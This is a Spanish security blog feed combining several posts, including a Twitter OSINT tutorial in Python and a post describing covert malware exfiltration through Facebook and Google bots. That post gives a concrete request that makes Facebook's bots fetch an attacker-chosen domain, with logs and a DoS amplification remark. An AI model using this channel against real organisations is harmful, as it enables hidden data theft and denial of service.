		log('Tu access_secret: {0}'.format(aSecret))

		# Setea auth token y secret
		auth.set_access_token(aToken, aSecret)

		# Devolvemos una tupla para usarla con la API REST y la API de Streaming
		return (tweepy.API(auth), auth)

Para obtener ahora acceso a los métodos de la API, lo único que tendremos que hacer es llamar a nuestra función y asignar la tupla a nuestras variables —para la API REST solo usaremos la variable api—:

api, auth = OAuth()

Ahora comprobamos que lo que hemos hecho funciona solicitando los trends globales mediante:

print(api.trends_place(1))

Si todo ha ido bien deberemos obtener un JSON que probablemente nos ofusque un poco la salida que esperábamos, así que, sabiendo que es un JSON, procedemos a tratarlo como si fuera un diccionario, y ya que estamos lo ordenamos y metemos en una función.

def getTrends(woeid=1):
''' Devuelve una lista de trends por localización, la localización es un WOEID de Yahoo, 
el ID para todo todo el mundo es 1.'''

'''Hacemos una llamada a la API y recuperamos directamente los elementos que nos interesan 
del diccionario.'''

	trends = api.trends_place(1)[0]['trends']
	
	# Extraemos el nombre de los trends y los devolvemos.
	trendList = [trend['name'] for trend in trends]
	return trendList

y la llamamos solicitando los trending topics de Valencia —el WOEID de Valencia es 776688—:

# Recuperamos los tt y los imprimimos uno por uno
trendingTopics = getTrends(woeid=776688)
for topic in trendingTopics:
print(topic)

Y de esta forma se harían las llamadas a la API, como dijimos al principio, RESTfull. Conforme se ahonda en las opciones de la API te das cuenta que está pensada para gestionar nuestra cuenta, obtener estados, información, recuperar elementos del pasado y casi todo lo que podamos imaginar, pero… para OSINT nos interesa obtener datos en tiempo real, ¿como lo podemos hacer? pues con la segunda forma de acceso, la API de Streaming.

Pero eso lo veremos en la próxima entrada de la serie. Dejadnos en los comentarios cualquier duda o aspecto que os resulte interesante destacar.

APT: bot exfiltration

Dentro del mundo de las amenazas avanzadas persistentes o APTs, juegan un papel muy importante las técnicas utilizadas por los artefactos malware, para comunicarse y exfiltrar información a través de los C2s (Command & Control). En este aspecto existen tantas formas como imaginación pueda aportar el atacante y como protocolos y servicios existan. Un pequeño ejemplo de los “trucos” para enmascarar el tráfico ilegítimo como información aparentemente normal son:

  • Peticiones HTTP a páginas aparentemente lícitas, las cuales han sido crackeadas, albergando código del C2.
  • Sobreutilización del protocolo DNS para exfiltrar y comunicarse con los atacantes.
  • Sobreutilización de Google Calendar.

La lista anterior puede ser tan larga casi como campañas APT han existido y existen. En este post me gustaría aportar una nueva forma de exfiltración en la cual el equipo infectado y el C2 en ningún momento intercambian información directamente, sino que lo hacen a través de la legión de bots que los grandes gigantes de Internet disponen. Estos son Google, Facebook o Twitter entre otros.

¿Para qué sirven o qué función tienen estos bots? En el caso de Facebook, esta compañía dispone de una serie de agentes utilizados para realizar una previsualización del contenido de un enlace cuando se postea un comentario en esta red social. De esta manera, es posible presentar al usuario de una forma más amigable el contenido Web enlazado. Así, cuando el enlace es recibido por Facebook éste “ordena” a sus bots que visiten dicha URL extrayendo información de la web asociada.

El lector ya se habrá dado cuenta que controlando la URL a la cual queremos que los bots se conecten, disponemos de una forma de remitir información a un dominio propiedad del atacante, redirigiendo la petición a través de Facebook. De esta manera, ya tenemos el primer canal de comunicación “Equipo infectado” -> “C2”. Esta petición pasará totalmente desapercibida para los posibles analistas de seguridad del organismo víctima, ya que realmente son peticiones realizadas contra la red social.

El primer impedimento encontrado para ejecutar la redirección fue que necesitaba tener una cuenta de Facebook válida y estar autenticado para poder postear. Revisando un poco más a fondo por la documentación del “Caralibro” encontré la solución para poder postear sin estar autenticado. Esa magia la aportó la sección de “Developers”. A continuación, os dejo la petición GET para controlar los bots de Facebook a vuestro antojo, visitando todo aquello que vosotros les remitáis.

https://www.facebook.com/plugins/comments.php
?api_key=113869198637480
&channel_url=http://static.ak.fbcdn.net/connect/xd_proxy.php?version=3#cb=f10df33f48&
origin=http://developers.facebook.com/f29957fd8&relation=parent.parent&transport=postmessage
&href=DOMINIO A VISITAR
&locale=en_US
&numposts=2
&sdk=joey
&width=500

Un avispado ya se habrá dado cuenta que esto no sólo puede ser utilizado para exfiltrar información sino para por ejemplo realizar ataques de DoS encubiertos o aumentar contadores de visitas. Como ejemplo, os dejo el log de mi apache, tras decirle a Facebook que visite mi web.

66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-"
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/spotlight.jpg HTTP/1.1" 206 2582 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_4.jpg HTTP/1.1" 206 1356 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome-18.jpg HTTP/1.1" 206 8889 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1      
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome.jpg HTTP/1.1" 206 3987 
   "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.112 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-11.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.117 - - [30/Oct/2014:11:45:17 +0100] "GET /images/services.jpg HTTP/1.1" 206 2794 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
    "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"

La verdad es que se puede conseguir una buena amplificación, ya que una sola petición a Facebook generó 43 GETs de 10 bots distintos a la web destino. Pero no quiero desviarme del tema, que estamos a APTs.

Ahora que tenemos la forma de exfiltrar necesitamos poder remitir comandos de control a los equipos infectados en la organización víctima. Para esta parte nos van a ayudar los bots de Google, los cuales también podemos controlar para que no sólo visiten lo que nosotros queramos sino que además le remitan por nosotros a los equipos infectados las ordenes a realizar.

Normalmente cuando un C2 quiere ejecutar un comando en la víctima la comunicación no se hace en el sentido C2 -> “equipo infectado” sino al revés, siendo el portador del malware el que inicia comunicación.

Pues bien, Google dispone de una url por la que, dado un dominio, ésta te devuelve el favicon del mismo, lo que resulta perfecto para remitir en el mismo las órdenes a ejecutar en el equipo infectado.

http://www.google.com/s2/favicons?domain=DOMINIO-A-VISITAR

Una vez ejecutada, podemos ver en el log del C2 la siguiente petición realizada por el bot:

66.249.93.181 - - [31/Oct/2014:13:36:22 +0100] "GET / HTTP/1.1" 200 2961 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"
66.249.93.178 - - [31/Oct/2014:13:36:23 +0100] "GET /favicon.ico HTTP/1.1" 200 1703 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"

En este favicon podemos, por ejemplo con técnicas estenográficas, incluir la información de control remitida al equipo infectado. Así pues, tenemos establecida una comunicación bidireccional con los C2 sin establecer en ningún momento un canal directo entre equipos infectados y equipos de mando y control, perfecto para pasar desapercibidos.

Pelis para adictos a la ciberseguridad #peliseguridad

Tras la buena acogida que tuvo la propuesta desde @securityartwork de elaborar un listado de novelas para adictos a la ciberseguridad a través del hashtag #novelaseguridad -que podéis consultar aquí– ,decidimos poner en marcha otra nueva iniciativa, recopilar un buen listado de películas sobre dicha temática. Para ello, os invitamos a tuitear vuestras recomendaciones con el hashtag #peliseguridad y este es el resultado inicial:

Python para el Pentest. OSINT: Twitter (1)

El termino OSINT se refiere a “Open Source Intelligence” —Inteligencia de fuentes abiertas— y es cada vez más usado en las comunidades de inteligencia. Éste es favorecido principalmente por el auge de las redes sociales, una Internet cada vez mas repleta de información y nuestro escaso criterio a la hora de publicar contenido, —como en el ejemplo del tweet de las detenciones a presuntos miembros de ETA—. El concepto de fuentes abiertas se refiere a inteligencia (cuando hablamos de inteligencia nos referimos a información útil extraída de datos en crudo) que puede ser obtenida de medios públicos y de libre acceso.

Una vez que el lector tiene claro el concepto, tal vez no llegue a vislumbrar el impacto que puede tener, así que vamos a realizar un pequeño PoC que trate de recoger datos de una de las fuentes que más afluente de información tiene: Twitter, y a plasmar en una gráfica los resultados para tener una mejor visión de lo que hemos recogido.

Para esto —siguiendo con la serie— usaré Python, con los siguientes paquetes (en cursiva los que vienen por defecto y que no habrá que instalar):

tweepy
NLTK
json

Es recomendable que usemos para instalar los nuevos paquetes un virtualenv como ya explicamos en el artículo anterior de la serie. Veamos algunos conceptos y herramientas que serán de interés a lo largo del post y nos facilitarán la vida a la hora de obtener grandes cantidades de datos y procesarlos.

El primero de ellos es la API de Twitter. Para acceder a ésta actualmente tenemos tres métodos: el acceso a la API RESTfull, por streaming y el Firehose.

Con la API Firehose tendremos acceso a toda la información de twitter en tiempo real y sin restricciones. El acceso a esta API es de pago y con un precio muy elevado. Algunas empresas tienen acceso al Firehose y revenden el acceso a el en pequeñas porciones. Algunas de estas empresas son @gnip que fue comprada este año por twitter y @DataSift.

Para los que no nos podemos permitir el acceso a esta API nos queda el acceso a la RESTfull y la de streaming. La primera nos permite el acceso a la gestión de nuestra cuenta y recuperación de información pasada, está limitada a un determinado número de llamadas y el contador se resetea cada 15 minutos. La segunda opción se asemeja al Firehose exceptuando que solo podremos escuchar aplicando una serie de filtros y tan solo en el 1% de todo el caudal de datos. Aún a pesar de estas limitaciones, con un poco de ingenio y astucia se pueden hacer herramientas muy potentes sin tener que pagar por un pedacito de Firehose.

Dejemos eso ahí y pasemos ahora al NLTK: Natural Language Tool Kit. Éste, como su nombre indica, es un paquete o más bien una serie de herramientas que nos permitirán usar técnicas de procesamiento de lenguaje natural de una manera sencilla.

Para configurarlo —aunque no sea estrictamente necesario, nos servirá para jugar con este fantástico paquete— debemos abrir una consola y entrar en el REPL de python escribiendo simplemente python en la terminal. Cuando se abra el intérprete debemos importar el paquete e iniciar el asistente de descarga de utilidades.

import nltk
nltk.download()

Una vez que tenemos el prompt Downloader> pulsamos d y en el prompt Identifier> escribimos book. Cuando termine de descargarse repetimos el proceso con el package all-corpora y con esto ya dispondremos de literatura para jugar.

Siguiendo con los preliminares, siempre imprescindibles, veamos ahora qué es JSON y como manipularlo con Python. JSON, acrónimo de JavaScript Object Notation, es un lenguaje que sirve para expresar estructuras de datos con mucha eficiencia y simpleza. La API de Twitter nos devolverá toda la información estructurada en JSON.

Para manipular estructuras JSON, python nos provee del paquete json que nuevamente lo tendremos disponible en nuestro script mediante un import import json. Para evitar importar todo el paquete, es recomendable importar tan solo los módulos que necesitemos, como:

from json import loads
from json import dumps

Así a la hora de cargar un string que represente una estructura JSON e imprimir el resultado solo tendremos que hacer lo siguiente:

dataStr = "{'foo': 'bar'}"
dataDict = loads(dataStr)
print('{0}'.format(dumps(dataDict, indent=3)))

En la siguiente parte de esta serie, crearemos una aplicación nueva en Twitter, y continuaremos trabajando para poder obtener y gestionar datos de Twitter. Manténganse a la espera.

El eslabón más débil

En Seguridad se utiliza habitualmente el símil de la cadena y el eslabón más débil; ese que dice que la fortaleza de una cadena reside en el eslabón más débil, de forma que por mucha seguridad que se implante en algunos de los sistemas de la infraestructura, todo se puede venir abajo si en algún sistema no se tiene la precaución de seguir las mínimas medidas de seguridad. Resulta que aquel sistema que se encuentra olvidado o se cree que no es importante y en el que no se cumple con las mismas políticas de seguridad puede convertirse en la puerta de entrada para un atacante a toda vuestra infraestructura.

Esta situación ocurre más a menudo de lo que pensamos, especialmente en infraestructuras medianas o grandes, donde siempre hay algún sistema que en su momento fue una prueba, o se trata de un sistema poco utilizado que quien lo administra ya no se encuentra en la organización…

Por muchos motivos un sistema puede quedar desactualizado y olvidado. También puede ocurrir que por los mismos motivos, no se cumpla con la política de seguridad de la organización (si es que se tiene alguna) y no se sigan las recomendaciones de seguridad porque “ya las aplicaremos cuando el sistema pase a producción…” contando con sistemas con credenciales por defecto o contraseñas débiles y fáciles de adivinar con ataques de diccionario. En ocasiones las credenciales de administración no se incluyen en las políticas de claves generales, son compartidas por todo el equipo de Sistemas y son más fáciles de adivinar de lo que se piensa.

[Read more…]

PDF deconstruído al aroma de shellcode (III)

Si recordamos el último post (primera parte y segunda parte), teníamos un PDF malicioso del que queríamos extraer el shellcode. Tenemos el JavaScript pero no parece que esté completo, por lo que tenemos que seguir analizando el código.

Vamos a fijarnos en este código nativo de Adobe:

hCS(sRi(xfa.resolveNode("Image10").rawValue)); 

Si miramos la referencia de JavaScript de Adobe, la función xfa.resolve permite el acceso a objetos. Y con el método rawValue le estás pidiendo al valor tal cual en bruto de esa variable. Esto… ¿no habíamos dicho que las imágenes no servían para nada?

[Read more…]